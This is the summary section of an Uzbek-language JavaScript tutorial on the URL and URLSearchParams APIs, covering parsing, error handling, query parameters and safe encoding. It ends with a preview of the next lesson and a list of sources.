new URL(manzil, asos?)— manzilni obyektga aylantiradi:protocol,host,hostname,port,pathname,search,hash,origin; yozilsa —hrefyangilanadi.- Nisbiy manzil asos bilan yechiladi; asos papka bo'lsa — oxirida
/. - Noto'g'ri manzil —
TypeError: Invalid URL; tekshirish —URL.canParse, xatosiz olish —URL.parse(null). url.searchParams:get/getAll/has/set/append/delete/sort; qiymatlar doim satr.- Qiymat kodlash —
URLSearchParamsyokiencodeURIComponent; manzilni+bilan yig'mang. Foydalanuvchi manzilida protokol va origin'ni tekshiring.
Keyingi dars: location va History API: oddiy SPA router — sahifani qayta yuklamasdan manzilni o'zgartirish, «Orqaga» tugmasi bilan ishlash va bugungi filtrniOl ning jufti — filtrniYoz.
Manbalar
- WHATWG URL Standard — url.spec.whatwg.org
- MDN: "URL", "URLSearchParams", "URL.canParse()", "URL.parse()", "encodeURIComponent()" — developer.mozilla.org
- Node.js 24 hujjatlari: "URL" — nodejs.org/api/url.html
- OWASP: "Unvalidated Redirects and Forwards Cheat Sheet" — cheatsheetseries.owasp.org
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!